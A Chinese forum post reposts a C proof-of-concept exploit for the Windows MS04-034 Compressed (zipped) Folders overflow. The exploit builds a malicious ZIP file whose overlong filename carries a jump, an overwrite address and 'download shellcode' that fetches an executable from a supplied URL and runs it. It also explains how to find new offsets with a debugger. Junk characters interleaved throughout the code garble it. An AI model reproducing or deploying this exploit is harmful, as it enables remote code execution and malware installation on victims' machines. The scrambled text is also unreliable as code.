QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2586|回复: 0
打印 上一主题 下一主题

(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 10:51 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)* i9 }7 y0 |# [) R" [' z4 A9 v *0 y) j+ i4 `3 e/ x- ?9 m9 A7 E * Tested under Windows XP SP0 Spanish/English 6 h* }) ]; o, o% l. o*" a2 t# H" T- _/ m& R) J * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html4 G+ A, F K) _9 S3 @' ?& Q& T * Exploit Date: 21/10/2004$ x' }, ^1 S) h! K. U+ ~/ P9 g5 K *8 L$ ^: P1 ^5 c4 \# O) e4 N * Tarako - Haxorcitos.com 20042 d# d c$ }* m `1 J: G! X *. N7 Y) ~ n# S! V * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" F, O5 t# w" r" m* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION& [' W8 s% @& P' B * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 4 \( T |' d2 [7 q& L2 N1 b. A*) g& \1 A; e: X7 u * Greetings t #haxorcitos, #dsr and #localhost @efnet 1 i1 i+ d/ }' x* 5 n0 r% j( |; l* ! w8 H0 r; f; d, r* How to get new offsets:) c/ ^* [0 ?% I, _, M * 1) attach debugger (i.e ollydbg) to explorer.exe# b9 ~; O. E# q: l! d6 [ * 2) open the zip file as a folder and add or move some files to it' k0 z; z3 J: E * 3) search in the explorer.exe memory the shellcode and get the addresses ' f' b8 Z8 E! p% g; B* # R/ W$ F& h8 ~4 T: m*/' D: u& C/ ?& ~8 m/ h* U 6 m/ f- F" o( L! Z3 Z #include <stdio.h> % i% z: q% }- [2 R#include <windows.h>$ r5 h+ X+ F" D1 `3 P0 w " O2 ^- T- X# x3 u( D) q#pragma pack(1)- G; | l) `: S7 y# `7 _/ O ' o7 |3 u; u* l4 M #define DATOS "Tarako-Haxorcitos.com" , d. V! o( e. I+ o 0 U5 F4 X8 U4 P& f: mtypedef struct { ; ~& y. I+ a5 i* l% IDWORD Signature; // PK.. 4 bytes (0x04034B50)$ G6 H# e+ ]3 u2 U# ~2 ? WORD VersionNeeded; 8 } T& s$ V% w8 c9 s1 aWORD GeneralPurposeFlag; // para el data descriptor y demas+ g. q- N5 Z; M7 K; g) \ WORD CompressionMethod; 8 x4 n/ v3 j5 q3 s0 OWORD ModFileTime;4 K7 {2 N$ K& ]+ T O. P% P WORD ModFileDate;4 h1 t) J1 z. ]: c7 n( | DWORD Crc32; , s2 G7 _* b& \) r- u0 n7 BDWORD CompressedSize;/ d9 w$ B6 l' K' s* E DWORD UncompressedSize;9 ]8 o8 J4 w# ~$ e; a WORD FilenameLength;. f- ]% ]9 s4 s5 A- ?' [ WORD ExtraFieldLength;0 Z7 M. ]+ J4 [* [) c$ d( S8 D // filename (variable size)) z! `$ a7 B; ^" @ // extra field (variable size)- y z0 j/ j9 ]0 y }TOPHEADER;0 ~! m, l# m/ t [ ; r0 M' N. n% j$ O6 y* f3 @' w0 h 5 [7 k2 V5 r7 V& H+ D0 j2 _- stypedef struct { * \8 o% n% J1 yDWORD Signature; // PK.. 4 bytes (0x02014B50) ! r) L# x }: X0 C9 U0 P4 k7 PWORD MadeVersion; ( Q5 o3 s& P: S: b) E$ DWORD VersionNeeded;" B/ I( _& A$ ?4 p. ~/ ^ WORD GeneralPurposeFlag; // para el data descriptor y demas. j- j3 j2 F. Z" M WORD CompressionMethod;1 i8 u( S/ ^ b; o- A$ w WORD ModFileTime; 4 t, ?" r( I! v. U5 Q* ?) N# LWORD ModFileDate;# n' \% l( Y, R& L DWORD Crc32;' f1 q& g D, p: k- E. x1 n: d DWORD CompressedSize; . j. j3 v! ?4 C' f0 `# m" }; Q- g7 CDWORD UncompressedSize;+ z' ]3 L7 @* k+ h WORD FilenameLength; $ \ w( V6 R9 a- c1 \WORD ExtraFieldLength; $ x) E: W$ h0 k/ o! ~ |# t3 LWORD FileCommentLength;. y- y# d! A& ^- A7 y5 v WORD DiskNumberStart; : Z( N; f2 ?: r, A. D3 x: ~/ v1 lWORD InternalFileAttributes; 6 l- ]7 e; y; N) |4 ^6 ^DWORD ExternalFileAttributes;9 G. N/ S, g' d4 g DWORD RelativeOffsetOfLocalHeader; % F. Q* D3 S7 @! }// filename (variable size) $ ?3 N5 H" @. n8 a! l// extra field (variable size)6 S8 c- |+ F+ ~: C j // file comment (variable size) o+ f% ?( B' {4 N9 H4 a* o }MIDDLEHEADER;" c- t1 m" @& E6 {, r ( q# L+ Y2 ^) I6 l. S" k typedef struct { z* x, z m6 O# @! ]5 {DWORD Signature; // PK.. 4 bytes (0x06054B50) 1 C+ Y8 v. o- `6 w; p6 u6 [9 c. ^WORD NumOfThisDisk;8 {+ T6 A) F# V0 B/ }3 V0 D8 l WORD NumDisckStartCentralDirectory;" K5 i( {8 x: Y/ s5 R- i6 m. q WORD NumEntriesCentralDirOnThisDisk;5 J/ S+ P6 X1 ]* n% s0 r; y: n/ p WORD TotalNumEntriesCentralDir; ' ]- _# E$ ^6 E7 N" C( QDWORD SizeCentralDirectory;! z* i! A2 X% e% b' ~. D2 f DWORD OffsetCentraDirRespectStartDiskNum;( W( P6 y3 Q& [* V WORD ZipCommentLength;; S& T& n ^* {1 s6 L // zipfile comment (variable size) 1 E% V) b7 T5 Y, M1 l}BOTTOMHEADER;( M/ |3 p+ ^! Q V( N/ |# c/ w( z2 U / `. T3 x: N5 r% X9 | /* 3 B4 [$ ]" c9 @' Z7 J8 ]* download shellcode - RaiSe - raise@netsearch-ezine.com & {7 h' P5 `0 o, }8 N$ @( K& o# N q' W*/, T8 L. H$ `: m. |1 f: c char shellcode1[] = $ R/ z3 U# J: g: Y; ]"\xEB\x5D\x5F\x8B\xF7\x80\x3F"! E& j- W6 L; f& h5 R( |+ H "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"& u( r& k) q1 Y$ _3 L1 o "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"- `/ }. J! B, q6 K2 N# ~" d "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8") M* O! t9 l' i2 \% f' n. N! C$ I "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"( _, [& X1 |1 _( ~ "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" 9 I% z! Q; P! j3 V"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" 8 X9 ?0 ]- c; \2 N, ^3 n; R"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" d% v- E+ W/ S- ~ z! D$ f* O"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" & R0 V9 ]0 a ?" ?7 @( ~"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" ) I& x4 V" ~% Y7 b& L' x"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" $ Q" a1 l2 ]. w8 b# `"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"9 L" i2 R+ q6 i+ a6 K& d6 k2 ~ "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" L& G6 @0 W8 h! D& I2 w! P8 f8 S% t"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"/ o3 H. g4 v! D2 E "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" : L; ~. x0 @/ W3 K+ O"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"# S1 [* u: g* Q3 b "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" # R& f$ [7 d( X; ?4 |9 _: B"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"' b# k, B1 f {2 {2 o "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8") W' v) o o/ ~' F- i: u1 L! P "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" 3 \9 w; Y' C% C! ~"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"3 v5 ?: {/ B/ l- b; C "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" 3 i* o; n- P8 w: X% |: @) V( n% x0 u# \& ~"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" , G% l0 ^2 T3 a2 f* A"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" 9 H. r* w5 G) n"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF", D* t5 T' F4 H) l8 I% ? "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" : B, w- k6 V4 l+ P) i"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" 0 L3 B- T2 s: O- {6 C: |8 q# Y' N"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" z: _# v4 {- u4 M2 v"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61") h9 r+ P$ m. F3 _ C "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"' Y# M& H/ b9 o. s& r "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"0 h/ D3 l" A$ Z" V% Q9 B# R "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" ) [, V6 s4 [0 f- P G; {9 g"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"! w# x1 p1 t8 x: G+ u+ R, q "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"( b, Y" g* y2 O$ C "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; 3 s4 O6 B7 O7 ~, t, d! ychar shellcode2[] ="\x08\x01";, K! o2 t4 Y9 m% s ( Z7 l' H: s, [5 c+ Y8 [6 G char offset[]="\x41\x41\x41\x41";6 w; b' y3 \$ c% g' K% u char jmpbelow[]= "\xeb\x06\x90\x90"; $ z* U1 w0 j' n3 Z! Q; r$ W/ o' t o0 q8 X% e1 p2 @5 ] int main(int argc,char *argv[]) {! I0 D9 q8 E9 x7 R ( B. y: Q3 u% H; j FILE *ZipFile; 8 ?: V9 p% F9 @' Y7 T# x+ Z8 ITOPHEADER *Cabecera1;4 k5 h# V/ g# h) `- m( x MIDDLEHEADER *Cabecera2; , Q: t) i. I! z0 ]$ hBOTTOMHEADER *Cabecera3;! D8 [7 I! D& U$ c ) K) |* ]* }1 C3 p9 A6 T3 ~ DWORD c;6 o/ V/ Y" o/ Q5 E UINT i;2 u+ N" H8 U& U1 a7 l char *filename;# O' B2 m- l P; i0 [% M5 |2 ~ char *url;6 r' z. Z- b9 Z$ @1 N; w8 g ' B! f6 ]7 {( B8 L9 n6 ~* d2 o. nprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); 6 g7 s9 r; J' r" o% ~& F1 j2 r: g# ?printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");( J v; b+ W6 c* b) ?/ g * P) C5 }- ^5 @* ]- ?, H4 x if (argc!=2) { , }8 H8 d3 _' n5 f' @5 z8 |printf("\n\n Usage: %s <URL> \n",argv[0]);9 @, t K' H2 D4 B1 B* N* }+ Z4 @ exit(1); 7 o x4 j/ j! I; S2 j}& e" I) S% [' n' ] 0 k0 _$ ~9 P* o4 m7 i url=argv[1]; ! I) X7 g- t3 t* F# d) T; u" xprintf("\n * URL: %s",url);* q v6 Q) F8 u( E' E8 X + r: c$ N+ A5 {7 a 1 C5 O' s1 b4 V% ]0 e, ~if (!(ZipFile=fopen("prueba.zip","w+b"))) { ) Z' Z" b z9 C! ~( qprintf("\n [E] fopen()"); # U6 Y. w' x4 v" ?! v4 sexit(1);9 B2 p+ K, `- x9 \8 _. ~9 K4 v }* a4 K0 U; i6 ^: y9 M1 R + Y( j% l0 V2 L, o: ^' E c=0x8000; // filename length5 [1 Q! |3 z' }- @( v3 c: ^ filename=(char*)malloc(sizeof(char)*c); 7 c3 E9 B7 R' [" i* T4 ^% Amemset(filename,0,sizeof(filename));: q' k6 d; a' X; A' G4 [- Q6 P 6 w. {5 O7 L: P6 mfor( i=0x0;i<c;i++) filename=(BYTE)0x90;; a$ a! T4 v4 p : C0 O& t$ Q. D memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); ! M8 [- C* d+ a* omemcpy(filename+0x1818,offset,strlen(offset));! c% G. D6 h1 N5 O # r2 ?8 @6 x8 |) n0 K% }9 W8 _ memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);( _* s' O7 R% W e2 N) g memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); 0 G5 |2 S& c- [. J @- cmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); : g0 C2 p7 \! q7 Y6 w- [. S2 F, g6 O @ memcpy(filename+(c-4),".txt",4); 4 e3 N% G9 A6 A. P( Z ; c+ A2 ^$ z* X3 @8 k5 k) VCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));8 m% \1 E( P+ W) D- | Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));& G5 T6 X0 q( [( _8 T Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));& {% s# A$ u! u- C9 B7 Y2 ] memset(Cabecera1,0,sizeof(TOPHEADER)); 1 u O% C m; e$ T8 e0 N O Cmemset(Cabecera2,0,sizeof(MIDDLEHEADER));' j, r1 [$ F7 {5 X3 x memset(Cabecera3,0,sizeof(BOTTOMHEADER)); ( y" j: f y9 F 3 ^8 ]) L3 b; w5 g5 P///////////////////////////////////////////////////////////////////( ?5 @4 i! N$ s // TOPHEADER, L' }- \& E0 T+ c ///////////////////////////////////////////////////////////////////( _" i) \! Y/ m# p Cabecera1->Signature=0x04034B50; // DWORD3 J/ u# F0 l% H) ]2 g! x& r Cabecera1->VersionNeeded=0x000A; // WORD5 H1 L1 ^9 v$ W6 V# f" \ Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas # T. A6 p3 A/ h: [* OCabecera1->CompressionMethod=0x0000; // WORD 2 h% p7 M- Y* r$ r- zCabecera1->ModFileTime=0x1362; // WORD 0 W# ~' a1 a1 B( C5 @Cabecera1->ModFileDate=0x3154; // WORD0 A3 O& z3 T; a( {3 Y9 ? Cabecera1->Crc32=0x85B36639; // DWORD5 j! q& R" j; [% O* ]* N Cabecera1->CompressedSize=0x00000015; // DWORD. Q% M; D7 W8 ]6 W/ A9 T0 i Cabecera1->UncompressedSize=0x00000015; // DWORD: `/ e1 V9 W% ]' v! |! ]1 | Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);; O3 ~# y3 }$ l" k Cabecera1->ExtraFieldLength=0x0000; // WORD- b7 ?+ _, o z7 p( i) P ///////////////////////////////////////////////////////////////////% D8 D+ y8 a# K3 \3 r 2 }" d' l. o& K /////////////////////////////////////////////////////////////////// 2 A. ^& ~2 D1 d+ P* r; a6 Y// MIDDLEHEADER # b* N) G6 J3 I8 D" [" j+ U! u7 Z///////////////////////////////////////////////////////////////////- T5 G: A& i( Z& a7 i+ r Cabecera2->Signature=0x02014B50; // DWORD " Y$ Q9 z8 O1 O9 n2 p# o( GCabecera2->MadeVersion=0x0014; // WORD ) [' { |' p. E6 g/ I6 bCabecera2->VersionNeeded=0x000A; // WORD % H1 f7 Z$ Y/ g/ H! A+ aCabecera2->GeneralPurposeFlag=0x0002; // WORD# y$ b# o. r/ G% e8 R, C/ i Cabecera2->CompressionMethod=0x0000; // WORD ) j' P. J! J9 Z; kCabecera2->ModFileTime=0x1362; // WORD; r' a2 Z( p$ B7 w, s2 \ Cabecera2->ModFileDate=0x3154; // WORD 5 |) t5 j. T+ U/ \Cabecera2->Crc32=0x85B36639; // DWORD 8 G6 @+ l+ w" z- hCabecera2->CompressedSize=0x00000015; // DWORD 9 ~6 w* f) I& H* b. L# k6 M: vCabecera2->UncompressedSize=0x00000015; // DWORD / l+ Z+ K1 A" u/ ICabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);# b, l0 @+ h7 _1 }2 F1 H( D' q9 q, q Cabecera2->ExtraFieldLength=0x0000; // WORD * o7 ?- X2 I; P: E, Q sCabecera2->FileCommentLength=0x0000; // WORD; L2 N7 F- J6 O# W Cabecera2->DiskNumberStart=0x0000; // WORD$ U1 l2 {, W2 q! g; v" I v3 s! e; n Cabecera2->InternalFileAttributes=0x0001; // WORD0 [. {* w" T7 v9 V' L5 f Cabecera2->ExternalFileAttributes=0x00000020; // DWORD : N0 D# |) b/ ~# B$ u' B1 m ~; S6 CCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD + H) W3 G% {8 }& D5 c Y1 g' r///////////////////////////////////////////////////////////////////( q! z1 e. g1 \ Q$ g0 B% P k0 e9 n7 a! @4 x: c /////////////////////////////////////////////////////////////////// / M% H& ], E# @, n; p& V# ~/ Z: l' V& j// BOTTOMHEADER / i% J' D: ]; O. X0 O0 \, \0 _///////////////////////////////////////////////////////////////////* q% @) R' W( |2 ` Cabecera3->Signature=0x06054B50; // DWORD $ Z3 Q U8 k7 ^& `. D$ ICabecera3->NumOfThisDisk=0x0000; // WORD 1 Z2 i. j9 _ _7 G& dCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD 7 P( P) N" ]5 N" J$ aCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD" ~2 n/ y) p$ Z Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD ) O! L* `9 O- q! S/ {Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD, }. M, \: _; M Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 8 p L/ ?7 N5 G( z$ y* G7 h9 O Cabecera3->ZipCommentLength=0x0000; // WORD+ Y+ _: i! S+ n /////////////////////////////////////////////////////////////////// 6 x* G9 i0 T8 H$ c 6 O$ k @: _+ z3 s5 e4 pfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); ; z0 W c0 ~2 ^& Q( ^% n ! U+ |" g9 N" `. ?. \" Z/ ]5 g/ ufwrite(filename, c, 1,ZipFile); 4 q( I4 X1 R* Q( \4 ~4 u. S fwrite(DATOS,strlen(DATOS),1,ZipFile); $ f5 |7 y- c Q( x B7 z+ U 9 ]) k' F# r. z" R% D% n! ?# Efwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);1 R; i7 {/ S- {" Z# l fwrite(filename, c, 1,ZipFile); - @' |7 A$ k& k9 M9 Bfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);2 ]3 d' V$ V* l& V4 c 9 A4 r" u$ G, u. [ fclose(ZipFile); ! d4 A" Q& F1 n" @" p2 X0 n+ Qprintf("\n * prueba.zip created\n");% W' M6 ?: V+ ]- [- a return 1;: d9 m( ^6 j- L4 R+ h }//downloaded from milw0rm.com 2 Q0 K/ X9 o. ^( q7 O

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-17 15:18 , Processed in 0.461603 second(s), 51 queries .

回顶部